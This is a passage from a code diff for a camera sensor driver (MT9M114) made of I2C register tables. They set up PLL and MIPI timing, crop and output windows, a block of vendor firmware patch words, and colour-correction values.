0x04FF,},/*stat_awb_window_xend = 1279*/ + {0xC91A, 0x02CF,},/*stat_awb_window_yend = 719*/ + {0xC91C, 0x0000,},/*stat_ae_window_xstart = 0*/ + {0xC91E, 0x0000,},/*stat_ae_window_ystart = 0*/ + {0xC920, 0x00FF,},/*stat_ae_window_xend = 255*/ + {0xC922, 0x008F,},/*stat_ae_window_yend = 143*/ +}; + +static struct msm_camera_i2c_reg_conf mt9m114_recommend_settings[] = { + {0x301A, 0x0200, MSM_CAMERA_I2C_SET_WORD_MASK}, + {0x098E, 0, MSM_CAMERA_I2C_BYTE_DATA}, + /*cam_sysctl_pll_enable = 1*/ + {0xC97E, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, + /*cam_sysctl_pll_divider_m_n = 288*/ + {0xC980, 0x0120,}, + /*cam_sysctl_pll_divider_p = 1792*/ + {0xC982, 0x0700,}, + /*output_control = 32769*/ + {0xC984, 0x8001,}, + /*mipi_timing_t_hs_zero = 3840*/ + {0xC988, 0x0F00,}, + /*mipi_timing_t_hs_exit_hs_trail = 2823*/ + {0xC98A, 0x0B07,}, + /*mipi_timing_t_clk_post_clk_pre = 3329*/ + {0xC98C, 0x0D01,}, + /*mipi_timing_t_clk_trail_clk_zero = 1821*/ + {0xC98E, 0x071D,}, + /*mipi_timing_t_lpx = 6*/ + {0xC990, 0x0006,}, + /*mipi_timing_init_timing = 2572*/ + {0xC992, 0x0A0C,}, + {0xC800, 0x007C,},/*y_addr_start = 124*/ + {0xC802, 0x0004,},/*x_addr_start = 4*/ + {0xC804, 0x0353,},/*y_addr_end = 851*/ + {0xC806, 0x050B,},/*x_addr_end = 1291*/ + {0xC808, 0x02DC,},/*pixclk = 48000000*/ + {0xC80A, 0x6C00,},/*pixclk = 48000000*/ + {0xC80C, 0x0001,},/*row_speed = 1*/ + {0xC80E, 0x00DB,},/*fine_integ_time_min = 219*/ + {0xC810, 0x05BD,},/*fine_integ_time_max = 1469*/ + {0xC812, 0x03E8,},/*frame_length_lines = 1000*/ + {0xC814, 0x0640,},/*line_length_pck = 1600*/ + {0xC816, 0x0060,},/*fine_correction = 96*/ + {0xC818, 0x02D3,},/*cpipe_last_row = 723*/ + {0xC826, 0x0020,},/*reg_0_data = 32*/ + {0xC834, 0x0000,},/*sensor_control_read_mode = 0*/ + {0xC854, 0x0000,},/*crop_window_xoffset = 0*/ + {0xC856, 0x0000,},/*crop_window_yoffset = 0*/ + {0xC858, 0x0500,},/*crop_window_width = 1280*/ + {0xC85A, 0x02D0,},/*crop_window_height = 720*/ + {0xC85C, 0x03, MSM_CAMERA_I2C_BYTE_DATA}, /*crop_cropmode = 3*/ + {0xC868, 0x0500,},/*output_width = 1280*/ + {0xC86A, 0x02D0,},/*output_height = 720*/ + {0xC878, 0x00, MSM_CAMERA_I2C_BYTE_DATA}, /*aet_aemode = 0*/ + {0xC88C, 0x1E00,},/*aet_max_frame_rate = 7680*/ + {0xC88E, 0x1E00,},/*aet_min_frame_rate = 7680*/ + {0xC914, 0x0000,},/*stat_awb_window_xstart = 0*/ + {0xC916, 0x0000,},/*stat_awb_window_ystart = 0*/ + {0xC918, 0x04FF,},/*stat_awb_window_xend = 1279*/ + {0xC91A, 0x02CF,},/*stat_awb_window_yend = 719*/ + {0xC91C, 0x0000,},/*stat_ae_window_xstart = 0*/ + {0xC91E, 0x0000,},/*stat_ae_window_ystart = 0*/ + {0xC920, 0x00FF,},/*stat_ae_window_xend = 255*/ + {0xC922, 0x008F,},/*stat_ae_window_yend = 143*/ + + /*Sensor optimization*/ + {0x316A, 0x8270,}, + {0x316C, 0x8270,}, + {0x3ED0, 0x2305,}, + {0x3ED2, 0x77CF,}, + {0x316E, 0x8202,}, + {0x3180, 0x87FF,}, + {0x30D4, 0x6080,}, + {0xA802, 0x0008,},/*AE_TRACK_MODE*/ + {0x3E14, 0xFF39,}, + {0x0982, 0x0001,},/*ACCESS_CTL_STAT*/ + {0x098A, 0x5000,},/*PHYSICAL_ADDRESS_ACCESS*/ + {0xD000, 0x70CF,}, + {0xD002, 0xFFFF,}, + {0xD004, 0xC5D4,}, + {0xD006, 0x903A,}, + {0xD008, 0x2144,}, + {0xD00A, 0x0C00,}, + {0xD00C, 0x2186,}, + {0xD00E, 0x0FF3,}, + {0xD010, 0xB844,}, + {0xD012, 0xB948,}, + {0xD014, 0xE082,}, + {0xD016, 0x20CC,}, + {0xD018, 0x80E2,}, + {0xD01A, 0x21CC,}, + {0xD01C, 0x80A2,}, + {0xD01E, 0x21CC,}, + {0xD020, 0x80E2,}, + {0xD022, 0xF404,}, + {0xD024, 0xD801,}, + {0xD026, 0xF003,}, + {0xD028, 0xD800,}, + {0xD02A, 0x7EE0,}, + {0xD02C, 0xC0F1,}, + {0xD02E, 0x08BA,}, + {0xD030, 0x0600,}, + {0xD032, 0xC1A1,}, + {0xD034, 0x76CF,}, + {0xD036, 0xFFFF,}, + {0xD038, 0xC130,}, + {0xD03A, 0x6E04,}, + {0xD03C, 0xC040,}, + {0xD03E, 0x71CF,}, + {0xD040, 0xFFFF,}, + {0xD042, 0xC790,}, + {0xD044, 0x8103,}, + {0xD046, 0x77CF,}, + {0xD048, 0xFFFF,}, + {0xD04A, 0xC7C0,}, + {0xD04C, 0xE001,}, + {0xD04E, 0xA103,}, + {0xD050, 0xD800,}, + {0xD052, 0x0C6A,}, + {0xD054, 0x04E0,}, + {0xD056, 0xB89E,}, + {0xD058, 0x7508,}, + {0xD05A, 0x8E1C,}, + {0xD05C, 0x0809,}, + {0xD05E, 0x0191,}, + {0xD060, 0xD801,}, + {0xD062, 0xAE1D,}, + {0xD064, 0xE580,}, + {0xD066, 0x20CA,}, + {0xD068, 0x0022,}, + {0xD06A, 0x20CF,}, + {0xD06C, 0x0522,}, + {0xD06E, 0x0C5C,}, + {0xD070, 0x04E2,}, + {0xD072, 0x21CA,}, + {0xD074, 0x0062,}, + {0xD076, 0xE580,}, + {0xD078, 0xD901,}, + {0xD07A, 0x79C0,}, + {0xD07C, 0xD800,}, + {0xD07E, 0x0BE6,}, + {0xD080, 0x04E0,}, + {0xD082, 0xB89E,}, + {0xD084, 0x70CF,}, + {0xD086, 0xFFFF,}, + {0xD088, 0xC8D4,}, + {0xD08A, 0x9002,}, + {0xD08C, 0x0857,}, + {0xD08E, 0x025E,}, + {0xD090, 0xFFDC,}, + {0xD092, 0xE080,}, + {0xD094, 0x25CC,}, + {0xD096, 0x9022,}, + {0xD098, 0xF225,}, + {0xD09A, 0x1700,}, + {0xD09C, 0x108A,}, + {0xD09E, 0x73CF,}, + {0xD0A0, 0xFF00,}, + {0xD0A2, 0x3174,}, + {0xD0A4, 0x9307,}, + {0xD0A6, 0x2A04,}, + {0xD0A8, 0x103E,}, + {0xD0AA, 0x9328,}, + {0xD0AC, 0x2942,}, + {0xD0AE, 0x7140,}, + {0xD0B0, 0x2A04,}, + {0xD0B2, 0x107E,}, + {0xD0B4, 0x9349,}, + {0xD0B6, 0x2942,}, + {0xD0B8, 0x7141,}, + {0xD0BA, 0x2A04,}, + {0xD0BC, 0x10BE,}, + {0xD0BE, 0x934A,}, + {0xD0C0, 0x2942,}, + {0xD0C2, 0x714B,}, + {0xD0C4, 0x2A04,}, + {0xD0C6, 0x10BE,}, + {0xD0C8, 0x130C,}, + {0xD0CA, 0x010A,}, + {0xD0CC, 0x2942,}, + {0xD0CE, 0x7142,}, + {0xD0D0, 0x2250,}, + {0xD0D2, 0x13CA,}, + {0xD0D4, 0x1B0C,}, + {0xD0D6, 0x0284,}, + {0xD0D8, 0xB307,}, + {0xD0DA, 0xB328,}, + {0xD0DC, 0x1B12,}, + {0xD0DE, 0x02C4,}, + {0xD0E0, 0xB34A,}, + {0xD0E2, 0xED88,}, + {0xD0E4, 0x71CF,}, + {0xD0E6, 0xFF00,}, + {0xD0E8, 0x3174,}, + {0xD0EA, 0x9106,}, + {0xD0EC, 0xB88F,}, + {0xD0EE, 0xB106,}, + {0xD0F0, 0x210A,}, + {0xD0F2, 0x8340,}, + {0xD0F4, 0xC000,}, + {0xD0F6, 0x21CA,}, + {0xD0F8, 0x0062,}, + {0xD0FA, 0x20F0,}, + {0xD0FC, 0x0040,}, + {0xD0FE, 0x0B02,}, + {0xD100, 0x0320,}, + {0xD102, 0xD901,}, + {0xD104, 0x07F1,}, + {0xD106, 0x05E0,}, + {0xD108, 0xC0A1,}, + {0xD10A, 0x78E0,}, + {0xD10C, 0xC0F1,}, + {0xD10E, 0x71CF,}, + {0xD110, 0xFFFF,}, + {0xD112, 0xC7C0,}, + {0xD114, 0xD840,}, + {0xD116, 0xA900,}, + {0xD118, 0x71CF,}, + {0xD11A, 0xFFFF,}, + {0xD11C, 0xD02C,}, + {0xD11E, 0xD81E,}, + {0xD120, 0x0A5A,}, + {0xD122, 0x04E0,}, + {0xD124, 0xDA00,}, + {0xD126, 0xD800,}, + {0xD128, 0xC0D1,}, + {0xD12A, 0x7EE0,}, + {0x098E, 0x0000,}, + + {0x0982, 0x0001,}, + {0x098A, 0x5C10,}, + {0xDC10, 0xC0F1,}, + {0xDC12, 0x0CDA,}, + {0xDC14, 0x0580,}, + {0xDC16, 0x76CF,}, + {0xDC18, 0xFF00,}, + {0xDC1A, 0x2184,}, + {0xDC1C, 0x9624,}, + {0xDC1E, 0x218C,}, + {0xDC20, 0x8FC3,}, + {0xDC22, 0x75CF,}, + {0xDC24, 0xFFFF,}, + {0xDC26, 0xE058,}, + {0xDC28, 0xF686,}, + {0xDC2A, 0x1550,}, + {0xDC2C, 0x1080,}, + {0xDC2E, 0xE001,}, + {0xDC30, 0x1D50,}, + {0xDC32, 0x1002,}, + {0xDC34, 0x1552,}, + {0xDC36, 0x1100,}, + {0xDC38, 0x6038,}, + {0xDC3A, 0x1D52,}, + {0xDC3C, 0x1004,}, + {0xDC3E, 0x1540,}, + {0xDC40, 0x1080,}, + {0xDC42, 0x081B,}, + {0xDC44, 0x00D1,}, + {0xDC46, 0x8512,}, + {0xDC48, 0x1000,}, + {0xDC4A, 0x00C0,}, + {0xDC4C, 0x7822,}, + {0xDC4E, 0x2089,}, + {0xDC50, 0x0FC1,}, + {0xDC52, 0x2008,}, + {0xDC54, 0x0F81,}, + {0xDC56, 0xFFFF,}, + {0xDC58, 0xFF80,}, + {0xDC5A, 0x8512,}, + {0xDC5C, 0x1801,}, + {0xDC5E, 0x0052,}, + {0xDC60, 0xA512,}, + {0xDC62, 0x1544,}, + {0xDC64, 0x1080,}, + {0xDC66, 0xB861,}, + {0xDC68, 0x262F,}, + {0xDC6A, 0xF007,}, + {0xDC6C, 0x1D44,}, + {0xDC6E, 0x1002,}, + {0xDC70, 0x20CA,}, + {0xDC72, 0x0021,}, + {0xDC74, 0x20CF,}, + {0xDC76, 0x04E1,}, + {0xDC78, 0x0850,}, + {0xDC7A, 0x04A1,}, + {0xDC7C, 0x21CA,}, + {0xDC7E, 0x0021,}, + {0xDC80, 0x1542,}, + {0xDC82, 0x1140,}, + {0xDC84, 0x8D2C,}, + {0xDC86, 0x6038,}, + {0xDC88, 0x1D42,}, + {0xDC8A, 0x1004,}, + {0xDC8C, 0x1542,}, + {0xDC8E, 0x1140,}, + {0xDC90, 0xB601,}, + {0xDC92, 0x046D,}, + {0xDC94, 0x0580,}, + {0xDC96, 0x78E0,}, + {0xDC98, 0xD800,}, + {0xDC9A, 0xB893,}, + {0xDC9C, 0x002D,}, + {0xDC9E, 0x04A0,}, + {0xDCA0, 0xD900,}, + {0xDCA2, 0x78E0,}, + {0xDCA4, 0x72CF,}, + {0xDCA6, 0xFFFF,}, + {0xDCA8, 0xE058,}, + {0xDCAA, 0x2240,}, + {0xDCAC, 0x0340,}, + {0xDCAE, 0xA212,}, + {0xDCB0, 0x208A,}, + {0xDCB2, 0x0FFF,}, + {0xDCB4, 0x1A42,}, + {0xDCB6, 0x0004,}, + {0xDCB8, 0xD830,}, + {0xDCBA, 0x1A44,}, + {0xDCBC, 0x0002,}, + {0xDCBE, 0xD800,}, + {0xDCC0, 0x1A50,}, + {0xDCC2, 0x0002,}, + {0xDCC4, 0x1A52,}, + {0xDCC6, 0x0004,}, + {0xDCC8, 0x1242,}, + {0xDCCA, 0x0140,}, + {0xDCCC, 0x8A2C,}, + {0xDCCE, 0x6038,}, + {0xDCD0, 0x1A42,}, + {0xDCD2, 0x0004,}, + {0xDCD4, 0x1242,}, + {0xDCD6, 0x0141,}, + {0xDCD8, 0x70CF,}, + {0xDCDA, 0xFF00,}, + {0xDCDC, 0x2184,}, + {0xDCDE, 0xB021,}, + {0xDCE0, 0xD800,}, + {0xDCE2, 0xB893,}, + {0xDCE4, 0x07E5,}, + {0xDCE6, 0x0460,}, + {0xDCE8, 0xD901,}, + {0xDCEA, 0x78E0,}, + {0xDCEC, 0xC0F1,}, + {0xDCEE, 0x0BFA,}, + {0xDCF0, 0x05A0,}, + {0xDCF2, 0x216F,}, + {0xDCF4, 0x0043,}, + {0xDCF6, 0xC1A4,}, + {0xDCF8, 0x220A,}, + {0xDCFA, 0x1F80,}, + {0xDCFC, 0xFFFF,}, + {0xDCFE, 0xE058,}, + {0xDD00, 0x2240,}, + {0xDD02, 0x134F,}, + {0xDD04, 0x1A48,}, + {0xDD06, 0x13C0,}, + {0xDD08, 0x1248,}, + {0xDD0A, 0x1002,}, + {0xDD0C, 0x70CF,}, + {0xDD0E, 0x7FFF,}, + {0xDD10, 0xFFFF,}, + {0xDD12, 0xE230,}, + {0xDD14, 0xC240,}, + {0xDD16, 0xDA00,}, + {0xDD18, 0xF00C,}, + {0xDD1A, 0x1248,}, + {0xDD1C, 0x1003,}, + {0xDD1E, 0x1301,}, + {0xDD20, 0x04CB,}, + {0xDD22, 0x7261,}, + {0xDD24, 0x2108,}, + {0xDD26, 0x0081,}, + {0xDD28, 0x2009,}, + {0xDD2A, 0x0080,}, + {0xDD2C, 0x1A48,}, + {0xDD2E, 0x10C0,}, + {0xDD30, 0x1248,}, + {0xDD32, 0x100B,}, + {0xDD34, 0xC300,}, + {0xDD36, 0x0BE7,}, + {0xDD38, 0x90C4,}, + {0xDD3A, 0x2102,}, + {0xDD3C, 0x0003,}, + {0xDD3E, 0x238C,}, + {0xDD40, 0x8FC3,}, + {0xDD42, 0xF6C7,}, + {0xDD44, 0xDAFF,}, + {0xDD46, 0x1A05,}, + {0xDD48, 0x1082,}, + {0xDD4A, 0xC241,}, + {0xDD4C, 0xF005,}, + {0xDD4E, 0x7A6F,}, + {0xDD50, 0xC241,}, + {0xDD52, 0x1A05,}, + {0xDD54, 0x10C2,}, + {0xDD56, 0x2000,}, + {0xDD58, 0x8040,}, + {0xDD5A, 0xDA00,}, + {0xDD5C, 0x20C0,}, + {0xDD5E, 0x0064,}, + {0xDD60, 0x781C,}, + {0xDD62, 0xC042,}, + {0xDD64, 0x1C0E,}, + {0xDD66, 0x3082,}, + {0xDD68, 0x1A48,}, + {0xDD6A, 0x13C0,}, + {0xDD6C, 0x7548,}, + {0xDD6E, 0x7348,}, + {0xDD70, 0x7148,}, + {0xDD72, 0x7648,}, + {0xDD74, 0xF002,}, + {0xDD76, 0x7608,}, + {0xDD78, 0x1248,}, + {0xDD7A, 0x1000,}, + {0xDD7C, 0x1400,}, + {0xDD7E, 0x300B,}, + {0xDD80, 0x084D,}, + {0xDD82, 0x02C5,}, + {0xDD84, 0x1248,}, + {0xDD86, 0x1000,}, + {0xDD88, 0xE101,}, + {0xDD8A, 0x1001,}, + {0xDD8C, 0x04CB,}, + {0xDD8E, 0x1A48,}, + {0xDD90, 0x1000,}, + {0xDD92, 0x7361,}, + {0xDD94, 0x1408,}, + {0xDD96, 0x300B,}, + {0xDD98, 0x2302,}, + {0xDD9A, 0x02C0,}, + {0xDD9C, 0x780D,}, + {0xDD9E, 0x2607,}, + {0xDDA0, 0x903E,}, + {0xDDA2, 0x07D6,}, + {0xDDA4, 0xFFE3,}, + {0xDDA6, 0x792F,}, + {0xDDA8, 0x09CF,}, + {0xDDAA, 0x8152,}, + {0xDDAC, 0x1248,}, + {0xDDAE, 0x100E,}, + {0xDDB0, 0x2400,}, + {0xDDB2, 0x334B,}, + {0xDDB4, 0xE501,}, + {0xDDB6, 0x7EE2,}, + {0xDDB8, 0x0DBF,}, + {0xDDBA, 0x90F2,}, + {0xDDBC, 0x1B0C,}, + {0xDDBE, 0x1382,}, + {0xDDC0, 0xC123,}, + {0xDDC2, 0x140E,}, + {0xDDC4, 0x3080,}, + {0xDDC6, 0x7822,}, + {0xDDC8, 0x1A07,}, + {0xDDCA, 0x1002,}, + {0xDDCC, 0x124C,}, + {0xDDCE, 0x1000,}, + {0xDDD0, 0x120B,}, + {0xDDD2, 0x1081,}, + {0xDDD4, 0x1207,}, + {0xDDD6, 0x1083,}, + {0xDDD8, 0x2142,}, + {0xDDDA, 0x004B,}, + {0xDDDC, 0x781B,}, + {0xDDDE, 0x0B21,}, + {0xDDE0, 0x02E2,}, + {0xDDE2, 0x1A4C,}, + {0xDDE4, 0x1000,}, + {0xDDE6, 0xE101,}, + {0xDDE8, 0x0915,}, + {0xDDEA, 0x00C2,}, + {0xDDEC, 0xC101,}, + {0xDDEE, 0x1204,}, + {0xDDF0, 0x1083,}, + {0xDDF2, 0x090D,}, + {0xDDF4, 0x00C2,}, + {0xDDF6, 0xE001,}, + {0xDDF8, 0x1A4C,}, + {0xDDFA, 0x1000,}, + {0xDDFC, 0x1A06,}, + {0xDDFE, 0x1002,}, + {0xDE00, 0x234A,}, + {0xDE02, 0x1000,}, + {0xDE04, 0x7169,}, + {0xDE06, 0xF008,}, + {0xDE08, 0x2053,}, + {0xDE0A, 0x0003,}, + {0xDE0C, 0x6179,}, + {0xDE0E, 0x781C,}, + {0xDE10, 0x2340,}, + {0xDE12, 0x104B,}, + {0xDE14, 0x1203,}, + {0xDE16, 0x1083,}, + {0xDE18, 0x0BF1,}, + {0xDE1A, 0x90C2,}, + {0xDE1C, 0x1202,}, + {0xDE1E, 0x1080,}, + {0xDE20, 0x091D,}, + {0xDE22, 0x0004,}, + {0xDE24, 0x70CF,}, + {0xDE26, 0xFFFF,}, + {0xDE28, 0xC644,}, + {0xDE2A, 0x881B,}, + {0xDE2C, 0xE0B2,}, + {0xDE2E, 0xD83C,}, + {0xDE30, 0x20CA,}, + {0xDE32, 0x0CA2,}, + {0xDE34, 0x1A01,}, + {0xDE36, 0x1002,}, + {0xDE38, 0x1A4C,}, + {0xDE3A, 0x1080,}, + {0xDE3C, 0x02B9,}, + {0xDE3E, 0x05A0,}, + {0xDE40, 0xC0A4,}, + {0xDE42, 0x78E0,}, + {0xDE44, 0xC0F1,}, + {0xDE46, 0xFF95,}, + {0xDE48, 0xD800,}, + {0xDE4A, 0x71CF,}, + {0xDE4C, 0xFF00,}, + {0xDE4E, 0x1FE0,}, + {0xDE50, 0x19D0,}, + {0xDE52, 0x001C,}, + {0xDE54, 0x19D1,}, + {0xDE56, 0x001C,}, + {0xDE58, 0x70CF,}, + {0xDE5A, 0xFFFF,}, + {0xDE5C, 0xE058,}, + {0xDE5E, 0x901F,}, + {0xDE60, 0xB861,}, + {0xDE62, 0x19D2,}, + {0xDE64, 0x001C,}, + {0xDE66, 0xC0D1,}, + {0xDE68, 0x7EE0,}, + {0xDE6A, 0x78E0,}, + {0xDE6C, 0xC0F1,}, + {0xDE6E, 0x0A7A,}, + {0xDE70, 0x0580,}, + {0xDE72, 0x70CF,}, + {0xDE74, 0xFFFF,}, + {0xDE76, 0xC5D4,}, + {0xDE78, 0x9041,}, + {0xDE7A, 0x9023,}, + {0xDE7C, 0x75CF,}, + {0xDE7E, 0xFFFF,}, + {0xDE80, 0xE058,}, + {0xDE82, 0x7942,}, + {0xDE84, 0xB967,}, + {0xDE86, 0x7F30,}, + {0xDE88, 0xB53F,}, + {0xDE8A, 0x71CF,}, + {0xDE8C, 0xFFFF,}, + {0xDE8E, 0xC84C,}, + {0xDE90, 0x91D3,}, + {0xDE92, 0x108B,}, + {0xDE94, 0x0081,}, + {0xDE96, 0x2615,}, + {0xDE98, 0x1380,}, + {0xDE9A, 0x090F,}, + {0xDE9C, 0x0C91,}, + {0xDE9E, 0x0A8E,}, + {0xDEA0, 0x05A0,}, + {0xDEA2, 0xD906,}, + {0xDEA4, 0x7E10,}, + {0xDEA6, 0x2615,}, + {0xDEA8, 0x1380,}, + {0xDEAA, 0x0A82,}, + {0xDEAC, 0x05A0,}, + {0xDEAE, 0xD960,}, + {0xDEB0, 0x790F,}, + {0xDEB2, 0x090D,}, + {0xDEB4, 0x0133,}, + {0xDEB6, 0xAD0C,}, + {0xDEB8, 0xD904,}, + {0xDEBA, 0xAD2C,}, + {0xDEBC, 0x79EC,}, + {0xDEBE, 0x2941,}, + {0xDEC0, 0x7402,}, + {0xDEC2, 0x71CF,}, + {0xDEC4, 0xFF00,}, + {0xDEC6, 0x2184,}, + {0xDEC8, 0xB142,}, + {0xDECA, 0x1906,}, + {0xDECC, 0x0E44,}, + {0xDECE, 0xFFDE,}, + {0xDED0, 0x70C9,}, + {0xDED2, 0x0A5A,}, + {0xDED4, 0x05A0,}, + {0xDED6, 0x8D2C,}, + {0xDED8, 0xAD0B,}, + {0xDEDA, 0xD800,}, + {0xDEDC, 0xAD01,}, + {0xDEDE, 0x0219,}, + {0xDEE0, 0x05A0,}, + {0xDEE2, 0xA513,}, + {0xDEE4, 0xC0F1,}, + {0xDEE6, 0x71CF,}, + {0xDEE8, 0xFFFF,}, + {0xDEEA, 0xC644,}, + {0xDEEC, 0xA91B,}, + {0xDEEE, 0xD902,}, + {0xDEF0, 0x70CF,}, + {0xDEF2, 0xFFFF,}, + {0xDEF4, 0xC84C,}, + {0xDEF6, 0x093E,}, + {0xDEF8, 0x03A0,}, + {0xDEFA, 0xA826,}, + {0xDEFC, 0xFFDC,}, + {0xDEFE, 0xF1B5,}, + {0xDF00, 0xC0F1,}, + {0xDF02, 0x09EA,}, + {0xDF04, 0x0580,}, + {0xDF06, 0x75CF,}, + {0xDF08, 0xFFFF,}, + {0xDF0A, 0xE058,}, + {0xDF0C, 0x1540,}, + {0xDF0E, 0x1080,}, + {0xDF10, 0x08A7,}, + {0xDF12, 0x0010,}, + {0xDF14, 0x8D00,}, + {0xDF16, 0x0813,}, + {0xDF18, 0x009E,}, + {0xDF1A, 0x1540,}, + {0xDF1C, 0x1081,}, + {0xDF1E, 0xE181,}, + {0xDF20, 0x20CA,}, + {0xDF22, 0x00A1,}, + {0xDF24, 0xF24B,}, + {0xDF26, 0x1540,}, + {0xDF28, 0x1081,}, + {0xDF2A, 0x090F,}, + {0xDF2C, 0x0050,}, + {0xDF2E, 0x1540,}, + {0xDF30, 0x1081,}, + {0xDF32, 0x0927,}, + {0xDF34, 0x0091,}, + {0xDF36, 0x1550,}, + {0xDF38, 0x1081,}, + {0xDF3A, 0xDE00,}, + {0xDF3C, 0xAD2A,}, + {0xDF3E, 0x1D50,}, + {0xDF40, 0x1382,}, + {0xDF42, 0x1552,}, + {0xDF44, 0x1101,}, + {0xDF46, 0x1D52,}, + {0xDF48, 0x1384,}, + {0xDF4A, 0xB524,}, + {0xDF4C, 0x082D,}, + {0xDF4E, 0x015F,}, + {0xDF50, 0xFF55,}, + {0xDF52, 0xD803,}, + {0xDF54, 0xF033,}, + {0xDF56, 0x1540,}, + {0xDF58, 0x1081,}, + {0xDF5A, 0x0967,}, + {0xDF5C, 0x00D1,}, + {0xDF5E, 0x1550,}, + {0xDF60, 0x1081,}, + {0xDF62, 0xDE00,}, + {0xDF64, 0xAD2A,}, + {0xDF66, 0x1D50,}, + {0xDF68, 0x1382,}, + {0xDF6A, 0x1552,}, + {0xDF6C, 0x1101,}, + {0xDF6E, 0x1D52,}, + {0xDF70, 0x1384,}, + {0xDF72, 0xB524,}, + {0xDF74, 0x0811,}, + {0xDF76, 0x019E,}, + {0xDF78, 0xB8A0,}, + {0xDF7A, 0xAD00,}, + {0xDF7C, 0xFF47,}, + {0xDF7E, 0x1D40,}, + {0xDF80, 0x1382,}, + {0xDF82, 0xF01F,}, + {0xDF84, 0xFF5A,}, + {0xDF86, 0x8D01,}, + {0xDF88, 0x8D40,}, + {0xDF8A, 0xE812,}, + {0xDF8C, 0x71CF,}, + {0xDF8E, 0xFFFF,}, + {0xDF90, 0xC644,}, + {0xDF92, 0x893B,}, + {0xDF94, 0x7030,}, + {0xDF96, 0x22D1,}, + {0xDF98, 0x8062,}, + {0xDF9A, 0xF20A,}, + {0xDF9C, 0x0A0F,}, + {0xDF9E, 0x009E,}, + {0xDFA0, 0x71CF,}, + {0xDFA2, 0xFFFF,}, + {0xDFA4, 0xC84C,}, + {0xDFA6, 0x893B,}, + {0xDFA8, 0xE902,}, + {0xDFAA, 0xFFCF,}, + {0xDFAC, 0x8D00,}, + {0xDFAE, 0xB8E7,}, + {0xDFB0, 0x26CA,}, + {0xDFB2, 0x1022,}, + {0xDFB4, 0xF5E2,}, + {0xDFB6, 0xFF3C,}, + {0xDFB8, 0xD801,}, + {0xDFBA, 0x1D40,}, + {0xDFBC, 0x1002,}, + {0xDFBE, 0x0141,}, + {0xDFC0, 0x0580,}, + {0xDFC2, 0x78E0,}, + {0xDFC4, 0xC0F1,}, + {0xDFC6, 0xC5E1,}, + {0xDFC8, 0xFF34,}, + {0xDFCA, 0xDD00,}, + {0xDFCC, 0x70CF,}, + {0xDFCE, 0xFFFF,}, + {0xDFD0, 0xE090,}, + {0xDFD2, 0xA8A8,}, + {0xDFD4, 0xD800,}, + {0xDFD6, 0xB893,}, + {0xDFD8, 0x0C8A,}, + {0xDFDA, 0x0460,}, + {0xDFDC, 0xD901,}, + {0xDFDE, 0x71CF,}, + {0xDFE0, 0xFFFF,}, + {0xDFE2, 0xDC10,}, + {0xDFE4, 0xD813,}, + {0xDFE6, 0x0B96,}, + {0xDFE8, 0x0460,}, + {0xDFEA, 0x72A9,}, + {0xDFEC, 0x0119,}, + {0xDFEE, 0x0580,}, + {0xDFF0, 0xC0F1,}, + {0xDFF2, 0x71CF,}, + {0xDFF4, 0x0000,}, + {0xDFF6, 0x5BAE,}, + {0xDFF8, 0x7940,}, + {0xDFFA, 0xFF9D,}, + {0xDFFC, 0xF135,}, + {0xDFFE, 0x78E0,}, + {0xE000, 0xC0F1,}, + {0xE002, 0x70CF,}, + {0xE004, 0x0000,}, + {0xE006, 0x5CBA,}, + {0xE008, 0x7840,}, + {0xE00A, 0x70CF,}, + {0xE00C, 0xFFFF,}, + {0xE00E, 0xE058,}, + {0xE010, 0x8800,}, + {0xE012, 0x0815,}, + {0xE014, 0x001E,}, + {0xE016, 0x70CF,}, + {0xE018, 0xFFFF,}, + {0xE01A, 0xC84C,}, + {0xE01C, 0x881A,}, + {0xE01E, 0xE080,}, + {0xE020, 0x0EE0,}, + {0xE022, 0xFFC1,}, + {0xE024, 0xF121,}, + {0xE026, 0x78E0,}, + {0xE028, 0xC0F1,}, + {0xE02A, 0xD900,}, + {0xE02C, 0xF009,}, + {0xE02E, 0x70CF,}, + {0xE030, 0xFFFF,}, + {0xE032, 0xE0AC,}, + {0xE034, 0x7835,}, + {0xE036, 0x8041,}, + {0xE038, 0x8000,}, + {0xE03A, 0xE102,}, + {0xE03C, 0xA040,}, + {0xE03E, 0x09F3,}, + {0xE040, 0x8114,}, + {0xE042, 0x71CF,}, + {0xE044, 0xFFFF,}, + {0xE046, 0xE058,}, + {0xE048, 0x70CF,}, + {0xE04A, 0xFFFF,}, + {0xE04C, 0xC594,}, + {0xE04E, 0xB030,}, + {0xE050, 0xFFDD,}, + {0xE052, 0xD800,}, + {0xE054, 0xF109,}, + {0xE056, 0x0000,}, + {0xE058, 0x0300,}, + {0xE05A, 0x0204,}, + {0xE05C, 0x0700,}, + {0xE05E, 0x0000,}, + {0xE060, 0x0000,}, + {0xE062, 0x0000,}, + {0xE064, 0x0000,}, + {0xE066, 0x0000,}, + {0xE068, 0x0000,}, + {0xE06A, 0x0000,}, + {0xE06C, 0x0000,}, + {0xE06E, 0x0000,}, + {0xE070, 0x0000,}, + {0xE072, 0x0000,}, + {0xE074, 0x0000,}, + {0xE076, 0x0000,}, + {0xE078, 0x0000,}, + {0xE07A, 0x0000,}, + {0xE07C, 0x0000,}, + {0xE07E, 0x0000,}, + {0xE080, 0x0000,}, + {0xE082, 0x0000,}, + {0xE084, 0x0000,}, + {0xE086, 0x0000,}, + {0xE088, 0x0000,}, + {0xE08A, 0x0000,}, + {0xE08C, 0x0000,}, + {0xE08E, 0x0000,}, + {0xE090, 0x0000,}, + {0xE092, 0x0000,}, + {0xE094, 0x0000,}, + {0xE096, 0x0000,}, + {0xE098, 0x0000,}, + {0xE09A, 0x0000,}, + {0xE09C, 0x0000,}, + {0xE09E, 0x0000,}, + {0xE0A0, 0x0000,}, + {0xE0A2, 0x0000,}, + {0xE0A4, 0x0000,}, + {0xE0A6, 0x0000,}, + {0xE0A8, 0x0000,}, + {0xE0AA, 0x0000,}, + {0xE0AC, 0xFFFF,}, + {0xE0AE, 0xCB68,}, + {0xE0B0, 0xFFFF,}, + {0xE0B2, 0xDFF0,}, + {0xE0B4, 0xFFFF,}, + {0xE0B6, 0xCB6C,}, + {0xE0B8, 0xFFFF,}, + {0xE0BA, 0xE000,}, + {0x098E, 0x0000,}, + + /*MIPI setting for SOC1040*/ + {0x3C5A, 0x0009,}, + {0x3C44, 0x0080,},/*MIPI_CUSTOM_SHORT_PKT*/ + + /*[Tuning_settings]*/ + + /*[CCM]*/ + {0xC892, 0x0267,},/*CAM_AWB_CCM_L_0*/ + {0xC894, 0xFF1A,},/*CAM_AWB_CCM_L_1*/ + {0xC896, 0xFFB3,},/*CAM_AWB_CCM_L_2*/ + {0xC898, 0xFF80,},/*CAM_AWB_CCM_L_3*/ + 